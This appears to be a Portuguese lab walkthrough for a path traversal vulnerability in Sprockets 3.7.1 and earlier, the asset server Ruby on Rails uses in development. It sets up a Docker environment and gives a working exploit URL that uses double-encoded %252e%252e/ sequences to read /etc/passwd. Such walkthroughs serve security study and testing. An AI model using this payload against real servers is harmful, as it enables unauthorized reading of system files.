
Ruby On Rails é um conhecido framework de desenvolvimento Web em Ruby, que usa Sprockets como servidor de arquivos estáticos no ambiente de desenvolvimento. Sprockets é uma biblioteca Ruby que compila e distribui arquivos de recursos estáticos.
Existe uma vulnerabilidade de path traversal causada por decodificação secundária no Sprockets 3.7.1 e versões anteriores. Um atacante pode usar %252e%252e/ para acessar o diretório raiz e ler ou executar qualquer arquivo no servidor alvo.
Links de referência:
Execute o seguinte comando:
docker-compose up -d
Acesse http://your-ip:3000 e você verá a página de boas-vindas.
Ao acessar http://your-ip:3000/assets/file:%2f%2f/etc/passwd diretamente, um erro será exibido, pois o arquivo /etc/passwd não está no diretório permitido.

Podemos obter uma lista dos diretórios permitidos pela página de erro. Basta selecionar um deles, como /usr/src/blog/app/assets/images, e então usar %252e%252e/ para pular para o diretório pai e, finalmente, ler o arquivo /etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
